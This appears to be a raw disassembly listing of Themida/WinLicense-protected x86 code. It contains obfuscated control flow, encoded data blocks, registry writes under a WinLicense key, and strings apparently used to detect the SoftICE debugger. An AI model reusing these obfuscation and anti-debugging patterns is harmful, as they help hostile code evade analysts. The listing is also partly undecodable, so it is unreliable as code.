; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5A36: ; CODE XREF: sub_59390B+11A5Cj
sub eax, 25551723h
add eax, esi
push esi
mov esi, 25551723h
jmp loc_5A1320
; ---------------------------------------------------------------------------
loc_5A5A48: ; CODE XREF: sub_59390B+C0BDj
mov eax, [esp+8+var_8]
push ebx
sub esp, 4
push esp
jmp loc_59CDB0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A5A58: ; CODE XREF: Themida_:00598FC8j
xor ebx, [esp]
jmp loc_59EA7C
; ---------------------------------------------------------------------------
loc_5A5A60: ; CODE XREF: Themida_:005A36E6j
push eax
mov al, bl
jmp loc_59E8AB
; ---------------------------------------------------------------------------
loc_5A5A68: ; CODE XREF: Themida_:005964A4j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
push edx
jmp loc_595172
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A5A79: ; CODE XREF: sub_59A431-326j
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
jmp loc_59A116
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5A5A8E: ; CODE XREF: Themida_:005989C0j
push ecx
jmp loc_5964A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_5A5A94: ; CODE XREF: sub_59F8C2-AF98j
push dword ptr [esp+0]
mov eax, [esp+4+var_4]
push edx
mov edx, esp
push ebx
push eax
mov eax, 2208291Dh
jmp loc_59C05B
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A5AA9: ; CODE XREF: sub_59FD45-245j
or edx, 773073B9h
and edx, 64D83586h
add edx, 0D768E717h
add ebx, edx
pop edx
mov edi, [esp+8+var_8]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A4654
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5AD5: ; CODE XREF: sub_59390B+1EDj
mov esi, 53230D51h
sub esi, ebp
pop ebp
push eax
mov eax, 30086F85h
inc eax
push 0
sub [esp+4+var_4], eax
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_594653
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A5AF7: ; CODE XREF: Themida_:005A498Fj
push 42C2h
mov [esp], ecx
jmp loc_59C552
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A5B04: ; CODE XREF: sub_59CAFB+463Aj
add esp, 4
push ebx
mov ebx, 16B6620Dh
add eax, ebx
pop ebx
sub eax, 76795273h
add eax, ebp
add eax, 76795273h
push ebp
mov ebp, 16B6620Dh
jmp loc_592921
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_5A5B2A: ; CODE XREF: Themida_:00593176j
add [esp+4], edx
jmp loc_59EC6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_5A5B33: ; CODE XREF: sub_599F38-4B44j
xor ebp, [esp+0]
mov esp, [esp+0]
and [esp-4+arg_0], ax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
loc_5A5B43: ; CODE XREF: Themida_:00594EFCj
pop edx
movzx eax, al
lea eax, [edi+eax*4]
jmp loc_59932E
; ---------------------------------------------------------------------------
loc_5A5B4F: ; CODE XREF: Themida_:005A041Fj
mov ebx, 0F7D0DE24h
jmp loc_591DD0
; ---------------------------------------------------------------------------
loc_5A5B59: ; CODE XREF: Themida_:0059A3C4j
sub edx, ebp
mov ebp, [esp]
add esp, 4
sub edx, ebp
add edx, 1FB51763h
pop ebp
or ecx, ecx
jz loc_5A4E02
sub esp, 4
push esp
pop dword ptr [esp]
push edx
mov edx, 4
push edx
jmp loc_59F1E1
; ---------------------------------------------------------------------------
loc_5A5B85: ; CODE XREF: Themida_:00599209j
mov cl, dh
mov bh, cl
jmp loc_5A3E1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59ADCD
loc_5A5B8E: ; CODE XREF: sub_59ADCD+4796j
mov ebp, [esp+0]
add esp, 4
; END OF FUNCTION CHUNK FOR sub_59ADCD
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A5B94: ; CODE XREF: sub_59FD45-4896j
; sub_59FD45+5AE1j
push [esp-4+arg_0]
jmp loc_59BD1A
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_5A5B9C: ; CODE XREF: Themida_:0059951Fj
and [edi+1Ch], ebx
push dword ptr [esp]
jmp loc_594B4A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A5BA7: ; CODE XREF: sub_594D13+81E9j
add ecx, edi
mov edi, [esp+8+var_8]
add esp, 4
add ecx, 4
jmp loc_5A2A91
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_5A5BBD: ; CODE XREF: Themida_:00599045j
add esi, ecx
sub esi, 5D2F086Dh
push eax
mov eax, 352C283Ch
add eax, 3A5A64FCh
xor eax, 6F1AD1DFh
jmp loc_5919F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5BDA: ; CODE XREF: sub_59390B+ACEj
mov [esp+0Ch+var_C], esi
push 65246C5Dh
jmp loc_5945AD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A5BE7: ; CODE XREF: sub_59A4D6-4812j
add eax, 4A6B3D74h
jmp loc_5A2923
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_580566
loc_5A5BF1: ; CODE XREF: sub_580566+3BE1j
jmp loc_5A5C3E
; END OF FUNCTION CHUNK FOR sub_580566
; ---------------------------------------------------------------------------
dw 6DB2h
dd 5355310Bh, 32335245h, 6C6C642Eh, 56444100h, 33495041h
dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 507D8h, 70003h
dd 0E0011h, 3D40031h, 4 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_580566
loc_5A5C3E: ; CODE XREF: sub_580566:loc_5A5BF1j
jmp loc_5A6514
; END OF FUNCTION CHUNK FOR sub_580566
; ---------------------------------------------------------------------------
push 6159A55h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6159AD5h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6159BFDh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6159DADh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6159E3Eh
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6159F2Ah
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6159F93h
jmp loc_58442C
; ---------------------------------------------------------------------------
db 7Ch, 0EEh, 68h
dd 78D6684Ah, 66E4785Ah, 7FD16248h, 68EC795Fh, 0B7D45B4Ah
dd 0A68C2A2Ah, 0BC9E3C16h, 9F812127h, 0D3A03E0Eh, 4DFD598Ch
dd 53C616B3h, 0D8D2B9EFh, 22F0EEEFh, 10D862F6h, 0EAC9BDA4h
dd 0FA56E5CDh, 63A22A6Bh, 168EE3C2h, 0BC51B2D3h, 0C334D545h
dd 0A4094B6h, 0A612DA3Bh, 79ECCBBBh, 36A1B584h, 0EB49187Dh
dd 143390F6h, 0A5B49E2Eh, 582D5C64h, 0D1308E8Ch, 1D506F4Ch
dd 248A77C1h, 94C10B8Ah, 91311BAEh, 3B2E1EAFh, 9A031233h
dd 4BA8A544h, 12000007h, 0E3492C4h, 0E3492BCh, 103290BAh
dd 0F3191BFh, 13492C2h, 0E470BD2Eh, 0FE54E4C6h, 0E365FAE0h
dd 4CDDC3h, 47B699A2h, 16B34ECBh, 0BDE17D94h, 0AB9B1A6Ch
dd 0AA102469h, 77C6ECCBh, 585413DDh, 2B1DB211h, 654A6D4Ah
dd 0B82087E8h, 47C60E31h, 16890CF7h, 0A4862568h, 0B799390Fh
dd 0B8CF6124h, 0F5142523h, 5F44C594h, 89D31641h, 19284938h
dd 0B5A8A435h, 8001F37Fh, 0CB302DBCh, 92000006h, 8EB41244h
dd 8EB4123Ch, 90B2103Ah, 8FB1113Fh, 81B41242h, 64F03DAEh
dd 7ED46446h, 63E57A60h, 80CC5D43h, 0C7361922h, 16B34F4Bh
dd 0BD61FD14h, 0FE8D1D6Ch, 73C2A3ADh, 97F3AD12h, 2846A219h
dd 0C0456A49h, 836C580Eh, 51C541B4h, 0F8E109Eh, 0C307666Eh
dd 0D5FDDA72h, 7ED80D87h, 47109E52h, 0B496A7C6h, 0FA1B2A20h
dd 0ED92519Bh, 0F0C0EC5Dh, 58A3417Bh, 4Ch, 0E06CBDFEh
dd 0E0C268C2h, 49B8004Eh, 109DB4C9h, 3A98B405h, 0A6A2351Dh
dd 0BFC7221Eh, 0CD1B3F20h, 7FCC3B85h, 0EC168EC2h, 93280AA9h
dd 123815B5h, 5DBC8DBFh, 5AEE4193h, 614CE0Bh, 0C9F10000h
dd 6FEB1A7Ch, 380A8A40h, 0B22CB4D5h, 51E06CBDh, 5B780E53h
dd 0D968E877h, 42330B8h, 35BF891Eh, 8EA547D6h, 0B5157816h
dd 0AC0A4293h, 0FA4E756Ch, 63923150h, 10751E1Ch, 90B71479h
dd 9EA13A6Fh, 6ADE717Ah, 11DBBADBh, 0FF49DEC4h, 0ACE1FEDFh
dd 4751B32h, 0A6389AFBh, 707899A8h, 0EE7FC95Eh, 7EF359ECh
dd 79EDB564h, 0A303DE8Dh, 0BA000005h, 0A68C2A2Ch, 0B69C3A14h
dd 0A88A2822h, 0B7993917h, 998C2A2Ah, 6CE87596h, 76DC6C4Eh
dd 6BDD7258h, 78D4654Bh, 1F4E915Ah, 16B34FC3h, 0BD29158Ch
dd 7251E06Ch, 3520050h, 0C5183A82h, 0F0B520C1h, 0A5C41B0Eh
dd 0E663EF94h, 17391E41h, 8DDFF5B3h, 0B4108AFBh, 0B4D9109Eh
dd 0B688DD2Ch, 0D56F109Eh, 0A3411704h, 0FFFEEDACh, 0DDC292FFh
dd 0FB6A7BBAh, 109E459Fh, 5A7E2568h, 6A6C74FBh, 0C8E475D7h
dd 97C6E5A1h, 168EC4FEh, 71ED203Fh, 3A0A8ABEh, 1C1CBADBh
dd 0BDE2C1C5h, 27D4842Ch, 401DA706h, 7BBB88CDh, 0ADBCE110h
dd 77B4FD5Ch, 41BA5404h, 9BE65D1Bh, 0CB1B3F50h, 948DB283h
dd 6E577C1Dh, 94C9E687h, 478A83Ah, 0E33A8203h, 1FBh, 0D27CCEF4h
dd 0E5C2500Ah, 0B53793C2h, 9D00109Dh, 9DB572ECh, 0FF143B10h
dd 0DC36197Dh, 0DDF3FD9Ch, 348CD5F6h, 1914477h, 17B4D560h
dd 0A249C538h, 0F312109Eh, 0F879ECE9h, 79168F92h, 8FAB2756h
dd 4EDF0A8Bh, 0A42C71FEh, 0A825C647h, 0C3358411h, 3F0DA082h
dd 0B2982C2Eh, 0B90362A3h, 8522647Dh, 2F3E0A9Dh, 0D6F9E6EEh
dd 5FEE64F4h, 766EE7Bh, 2B3A12A3h, 8EA3E2EAh, 8736A264h
dd 0F5EF643h, 62419DD0h, 8B0A2A9Eh, 3E98CDEAh, 72A9E62h
dd 7956E786h, 61AB2756h, 51DF2A9Eh, 82D13001h, 0C5DEB40h
dd 0D8E4EC8Dh, 875D2F91h, 829848AFh, 0DC91C4E3h, 55308EC7h
dd 0F6EDA6Dh, 15378AB0h, 1EB298B5h, 0DFFC1D2Ch, 8AB434AEh
dd 5098FD24h, 0ACA1ABFEh, 9A034E9Ch, 0F3DFFAB1h, 6A000003h
dd 765C7ADCh, 664C6AE4h, 785A78D2h, 674969E7h, 695C7ADAh
dd 3C18A5C6h, 262CBC9Eh, 3B0DA288h, 2824B59Bh, 6F9EC18Ah
dd 16B351F3h, 0A3F965BCh, 0CCEBC8BEh, 9DB53D99h, 8CFD6E10h
dd 9DCA3D13h, 0D96B4FCEh, 0FB6A6771h, 1688F4E3h, 0C842B394h
dd 910A88E1h, 0E43EAF0Ch, 0AD0A88E1h, 0C4036068h, 88E23591h
dd 0A3FF6E0Ah, 6C0A88E1h, 9AFB1A29h, 86C2153Dh, 9BAD0228h
dd 14A58DCAh, 0B9EB038h, 41202A7Eh, 17BC60Ch, 65600780h
dd 362h, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh, 0A20050DFh
dd 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh, 0DD705270h
dd 5D824F6Fh, 0B352AE28h, 40227716h, 51E06CBDh, 4DFB5072h
dd 1539DFCh, 0C6CD9CB0h, 63B6AF4Ch, 4A109DB7h, 0BE1421F2h
dd 0FCC4895Ch, 0C2ADFFFFh, 0B51670E5h, 1E4F109Dh, 109DB4C4h
dd 0DA3B088Dh, 0DF6DC012h, 0C366518Eh, 4D4B4986h, 0F0F9458Fh
dd 11C43996h, 4A168EF1h, 0E7183105h, 3628E78h, 11A082A3h
dd 0B9DF7943h, 0DDA9C0D9h, 0C288DCFEh, 8DCA1273h, 8EA5D958h
dd 48ABEA16h, 77B65FC5h, 0AF144DB2h, 0FD1C2D1Dh, 77C68AD9h
dd 25587716h, 68642110h, 3B97C609h, 45C601Eh, 0C18D1D81h
dd 53701170h, 6870E06Fh, 0E0A6BBF9h, 0F7DF92C3h, 35586250h
dd 2B21B496h, 3814A58Bh, 0C57DF745h, 488524CBh, 276h, 0DBFB5BE7h
dd 0C9E965F5h, 0D5F555E7h, 0CEEC64F3h, 0D7F75DECh, 93224BE4h
dd 71BFE1C1h, 4CDFC1E1h, 69FCDEFCh, 0D9F6C3E3h, 0B3542AA4h
dd 0C49EF316h, 0FE4CE0C2h, 9AA62E6Fh, 0B298374Fh, 368A2C1Eh
dd 5E8FCC14h, 16882E52h, 9EC11E7Fh, 15242ABCh, 55EAECF4h
dd 5AEDD3F3h, 0EA7B5FEEh, 0B5BBEF62h, 15D48000h, 20D38h
dd 54025000h, 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h
dd 83E84776h, 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h
dd 53D14DC0h, 879A16B3h, 4EE0C2DBh, 657CB800h, 8D9D8221h
dd 8DFC73D2h, 94C916DEh, 16886D88h, 4F7350B5h, 56834DFDh
dd 4B6BE174h, 516E144Bh, 885ACC1Ch, 4D1C810Ah, 0C998BC09h
dd 0C2921F11h, 727CBAE5h, 5F077788h, 20474795h, 0BE104562h
dd 770A888Dh, 0B2034716h, 0E1C585D7h, 0D0310054h, 82AA0B1h
dd 113797B5h, 95BD8CC0h, 4E0653CAh, 0C68EDBFFh, 9A2F6177h
dd 0E6638DABh, 86CA1941h, 83C91C3Eh, 3674FB24h, 75665DA0h
dd 0FA4B6D6Bh, 72BF0352h, 1DAB53E2h, 0E963F6ACh, 92C3ECC9h
dd 8B0776EFh, 540A87E5h, 396B8A31h, 0F643955Fh, 18C70F5Eh
dd 2EE45587h, 3416B59Fh, 7E9FAEA4h, 0F3426876h, 59EED061h
dd 88A5EEFh, 1C72BF73h, 44D3B849h, 0C7E7865Eh, 6DFC50E1h
dd 0D913041Ch, 0BB50C2A2h, 0BC96260Ch, 0BD8F2234h, 0DCAA3B1Dh
dd 0FD8AD182h, 2D950BC5h, 0C2425E45h, 6A6CFD9Ch, 77E879DBh
dd 9CF66748h, 65521453h, 0DD6E9820h, 1AB89425h, 0F8E1A538h
dd 8A1908DDh, 9391A0C1h, 0A3E2754Eh, 0B5A3B13h, 22BDEAC4h
dd 731201D0h, 0FF4EFE4Fh, 0ADE0FF9Eh, 58058AC0h, 7DA65E69h
dd 1382BF5Ah, 0D545472h, 0D46623B6h, 0CBAAEB7Ah, 26B71B7Ah
dd 97F61726h, 0C5381738h, 4C015349h, 9AE9F312h, 51EBCC68h
dd 0E86CF9E1h, 0BA409ACBh, 840945EBh, 0DF7254E5h, 47704D6Dh
dd 0DB1B5AF9h, 79C7EB97h, 6CBD0FD9h, 4CDFC3E0h, 8A2C6DFCh
dd 1AC91335h, 0D2359AEBh, 0EE8B075Ch, 7C5BF144h, 9EB02A5Bh
dd 74E90ECDh, 0ECD9F1Ah, 7095A2E3h, 0F5486A68h, 3D0C4294h
dd 0AAACBDDCh, 32263719h, 5FBB2A0Dh, 280ECD9Fh, 0DABB8D22h
dd 54037812h, 0E071DB6Eh, 0A43517A1h, 95280AA8h, 3ABA6B7h
dd 7000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h
dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh
dd 68221524h, 3E4Fh, 53240C89h, 0C381E389h, 4, 8704EB83h
dd 895C241Ch, 8953242Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h
dd 2414895Ch, 9DB6853h, 815B2C09h, 0C8FE4C3h, 8BDD89DAh
dd 0C481241Ch, 4, 24148B54h, 6804C483h, 76BAh, 8F242C89h
dd 148B0842h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_58442C
; ---------------------------------------------------------------------------
dd 977B4A7Fh, 9874E1FDh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_580566
loc_5A6514: ; CODE XREF: sub_580566:loc_5A5C3Ej
mov eax, 615A1C5h
add eax, ebp
jmp eax
; END OF FUNCTION CHUNK FOR sub_580566
; ---------------------------------------------------------------------------
db 19h, 0FDh, 67h
dd 0AAAE4A2Ch, 5822F575h, 3A5AA219h, 7A984766h, 0B8B51B0Bh
dd 7E73D918h, 91B3F44h, 8CEB7D37h, 0ED57C720h, 71C4EA65h
dd 0FAA21526h, 11E83Eh, 0CBEC0000h, 7DF52700h, 25FBEA75h
dd 7871A5F9h, 0B7C5078Bh, 0C0805E03h, 0E4C68137h, 0FC00005Dh
dd 174A68h, 13E900h, 0ECC40000h, 5D13B0F3h, 0DA0D2587h
dd 0B2EFACF9h, 0A9414662h, 0BF0F5A3Ah, 8136FFCAh, 0F0C16CC1h
dd 0C78B5F70h, 8814C781h, 0B9662AA5h, 0EF817FD0h, 40F1E712h
dd 6840Fh, 0C3810000h, 9D9B46Fh, 827EF81h, 0CD801BE0h
dd 0CB81572Ah, 5D79B60h, 83FC068Fh, 816004EEh, 0B2FE73C8h
dd 0D2B70F1Eh, 1EA8161h, 0F000000h, 1885h, 0B5BB6600h
dd 24E913h, 3510000h, 0ECB36F0Ah, 1D293DF0h, 859ED0FCh
dd 0A6BB6603h, 0FF8BE9C4h, 8183FFFFh, 7AA451E5h, 7808FBAFh
dd 8DE9B268h, 60000000h, 0EFDBD83h, 0F000613h, 584h, 78E900h
dd 6A0000h, 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h
dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h
dd 0A5858D00h, 5006132Ah, 96240489h, 6A9650h, 15595FFh
dd 0C3610613h, 11E185C6h, 684D0613h, 9A00E4D3h, 0D5240481h
dd 0FF0A3491h, 1310D1B5h, 0AD858D06h, 0FF06133Ah, 558589D0h
dd 0E9061301h, 0AAh, 74666F53h, 65726177h, 6E69575Ch, 6563694Ch
dd 65736Eh, 63656843h, 4E496Bh, 6F727058h, 69784574h, 68430074h
dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
dd 54554F74h, 49705400h, 4Eh, 2 dup(0)
dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 15A4A085h
dd 9C858D06h, 500615A4h, 0A406858Dh, 68500615h, 80000001h
dd 0A4AC95FFh, 196A0615h, 0A4A0B5FFh, 16A0615h, 858D006Ah
dd 615A435h, 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h
dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
dd 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h
dd 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h
dd 46A5006h, 858D006Ah, 615A45Fh, 9CB5FF50h, 0FF0615A4h
dd 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h
dd 0FF0615A4h, 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh
dd 8D500615h, 15A40685h, 1685006h, 0FF800000h, 15A4AC95h
dd 8D046A06h, 15A4A085h, 46A5006h, 858D006Ah, 615A447h
dd 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h
dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h, 8589C306h
dd 615A4A0h, 0A49C858Dh, 8D500615h, 15A40685h, 1685006h
dd 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h, 46A5006h
dd 858D006Ah, 615A472h, 9CB5FF50h, 0FF0615A4h, 131D4595h
dd 9CB5FF06h, 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h
dd 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh, 8D500615h
dd 15A40685h, 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h
dd 15A4A085h, 46A5006h, 858D006Ah, 615A422h, 9CB5FF50h
dd 0FF0615A4h, 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h
dd 9CB5FF06h, 0FF0615A4h, 1331CD95h, 0BD83C306h, 613206Dh
dd 0B840F00h, 8B000000h, 13206D9Dh, 4CC38306h, 83C30389h
dd 13206DBDh, 840F0006h, 0Bh, 206D9D8Bh, 0C3830613h, 0C3038950h
dd 206DBD83h, 0F000613h, 0B84h, 6D9D8B00h, 83061320h, 38954C3h
dd 6DBD83C3h, 61320h, 0B840Fh, 9D8B0000h, 613206Dh, 8958C383h
dd 0BD83C303h, 613206Dh, 0B840F00h, 8B000000h, 13206D9Dh
dd 5CC38306h, 0C3C30389h, 0A0858960h, 8D0615A4h, 15A49C85h
dd 858D5006h, 615A406h, 16850h, 95FF8000h, 615A4ACh, 858D046Ah
dd 615A4A0h, 6A046A50h, 97858D00h, 500615A4h, 0A49CB5FFh
dd 95FF0615h, 6131D45h, 1625BD83h, 0F000613h, 0C84h, 9CB5FF00h
dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
dd 60C36106h, 0A4A08589h, 858D0615h, 615A49Ch, 6858D50h
dd 500615A4h, 168h, 0AC95FF80h, 6A0615A4h, 0A0858D04h
dd 500615A4h, 6A046Ah, 0A479858Dh, 0FF500615h, 15A49CB5h
dd 4595FF06h, 8306131Dh, 131625BDh, 840F0006h, 0Ch, 0A49CB5FFh
dd 95FF0615h, 615A4A8h, 0A49CB5FFh, 95FF0615h, 61331CDh
dd 8960C361h, 15A4A085h, 9C858D06h, 500615A4h, 0A406858Dh
dd 68500615h, 80000001h, 0A4AC95FFh, 46A0615h, 0A4A0858Dh
dd 6A500615h, 8D006A04h, 15A48085h, 0B5FF5006h, 615A49Ch
dd 1D4595FFh, 0BD830613h, 6131625h, 0C840F00h, 0FF000000h
dd 15A49CB5h, 0A895FF06h, 0FF0615A4h, 15A49CB5h, 0CD95FF06h
dd 61061331h, 858960C3h, 615A4A0h, 0A49C858Dh, 8D500615h
dd 15A40685h, 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h
dd 15A4A085h, 46A5006h, 858D006Ah, 615A488h, 9CB5FF50h
dd 0FF0615A4h, 131D4595h, 25BD8306h, 61316h, 0C840Fh, 0B5FF0000h
dd 615A49Ch, 0A4A895FFh, 0B5FF0615h, 615A49Ch, 31CD95FFh
dd 0C3610613h, 0A0858960h, 8D0615A4h, 15A49C85h, 858D5006h
dd 615A406h, 16850h, 95FF8000h, 615A4ACh, 858D046Ah, 615A4A0h
dd 6A046A50h, 8F858D00h, 500615A4h, 0A49CB5FFh, 95FF0615h
dd 6131D45h, 1625BD83h, 0F000613h, 0C84h, 9CB5FF00h, 0FF0615A4h
dd 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h, 60C36106h
dd 0A4A085C7h, 10615h, 858D0000h, 615A49Ch, 6858D50h, 500615A4h
dd 268h, 0AC95FF80h, 0B0615A4h, 0F840FC0h, 0C7000000h
dd 15A4A085h, 6, 4DE900h, 46A0000h, 0A4A0858Dh, 6A500615h
dd 8D006A04h, 15A41A85h, 0B5FF5006h, 615A49Ch, 1D4595FFh
dd 0C00B0613h, 0F840Fh, 85C70000h, 615A4A0h, 0
; ---------------------------------------------------------------------------
jmp loc_5A6C33
; ---------------------------------------------------------------------------
mov dword ptr [ebp+615A4A0h], 1
loc_5A6C33: ; CODE XREF: Themida_:005A6C24j
push dword ptr [ebp+615A49Ch]
call dword ptr [ebp+61331CDh]
popa
mov eax, [ebp+615A4A0h]
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+615A4A0h], eax
lea eax, [ebp+615A49Ch]
push eax
lea eax, [ebp+615A406h]
push eax
push 80000001h
call dword ptr [ebp+615A4ACh]
push 4
lea eax, [ebp+615A4A0h]
push eax
push 4
push 0
lea eax, [ebp+615A41Ah]
push eax
push dword ptr [ebp+615A49Ch]
call dword ptr [ebp+6131D45h]
cmp dword ptr [ebp+6131625h], 0
jz loc_5A6CA0
push dword ptr [ebp+615A49Ch]
call dword ptr [ebp+615A4A8h]
loc_5A6CA0: ; CODE XREF: Themida_:005A6C8Ej
push dword ptr [ebp+615A49Ch]
call dword ptr [ebp+61331CDh]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+615A4A0h], eax
lea eax, [ebp+615A49Ch]
push eax
lea eax, [ebp+615A406h]
push eax
push 80000001h
call dword ptr [ebp+615A4ACh]
push 4
lea eax, [ebp+615A4A0h]
push eax
push 4
push 0
lea eax, [ebp+615A42Ch]
push eax
push dword ptr [ebp+615A49Ch]
call dword ptr [ebp+6131D45h]
cmp dword ptr [ebp+6131625h], 0
jz loc_5A6D07
push dword ptr [ebp+615A49Ch]
call dword ptr [ebp+615A4A8h]
loc_5A6D07: ; CODE XREF: Themida_:005A6CF5j
push dword ptr [ebp+615A49Ch]
call dword ptr [ebp+61331CDh]
popa
retn
; ---------------------------------------------------------------------------
mov byte ptr [ebp+61311E1h], 52h
push 0ADE47B07h
push dword ptr [ebp+61307C9h]
call dword ptr [ebp+6133235h]
mov [ebp+615A4ACh], eax
mov byte ptr [ebp+61311E1h], 52h
push 902E00E5h
push dword ptr [ebp+61307C9h]
call dword ptr [ebp+6133235h]
mov [ebp+615A4A8h], eax
mov byte ptr [ebp+61311E1h], 52h
push 0B9BF1235h
push dword ptr [ebp+61307C9h]
call dword ptr [ebp+6133235h]
mov [ebp+6131D45h], eax
mov byte ptr [ebp+61311E1h], 52h
push 98781034h
push dword ptr [ebp+61307C9h]
call dword ptr [ebp+6133235h]
mov [ebp+61331CDh], eax
mov byte ptr [ebp+61311E1h], 52h
push 0C005DBD4h
push dword ptr [ebp+61307C9h]
call dword ptr [ebp+6133235h]
mov [ebp+6131191h], eax
jmp short loc_5A6DCB
; ---------------------------------------------------------------------------
db 2 dup(5Ch), 2Eh
dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h
dd 49544E5Ch
db 43h, 45h, 0
; ---------------------------------------------------------------------------
loc_5A6DCB: ; CODE XREF: Themida_:005A6DABj
mov eax, eax
push esi
and dx, 517Ah
pop ecx
cmp dword ptr [ebp+6131625h], 0
jnz short loc_5A6DE6
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5A6DFF
loc_5A6DE6: ; CODE XREF: Themida_:005A6DDBj
push eax
push ebx
mov eax, eax
mov eax, 40Fh
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A97Dh]
call ebx ; _iob
pop ebx
pop eax
loc_5A6DFF: ; CODE XREF: Themida_:005A6DE4j
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5A6E1F
push eax
push ebx
mov eax, 40Fh
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A66Ch]
call ebx ; _iob
pop ebx
pop eax
loc_5A6E1F: ; CODE XREF: Themida_:005A6E06j
mov esi, [ebp+6130619h]
call near ptr loc_5A6E34+5
push ecx
rcr dword ptr [edx+50h], cl
jge short near ptr loc_5A6E91+1
xlat
add esi, [eax-8]
loc_5A6E34: ; CODE XREF: Themida_:005A6E25p
repne sub eax, 0B5F08FFDh
pop ebp
pop esi
mov edi, [ebp+613147Dh]
mov eax, eax
mov ecx, edx
mov byte ptr [ebp+61311E1h], 43h
adc di, 4F84h
call sub_5A6E5B
cld
outsb
; ---------------------------------------------------------------------------
db 8Eh, 0BCh
; =============== S U B R O U T I N E =======================================
sub_5A6E5B proc near ; CODE XREF: Themida_:005A6E52p
arg_0 = dword ptr 4
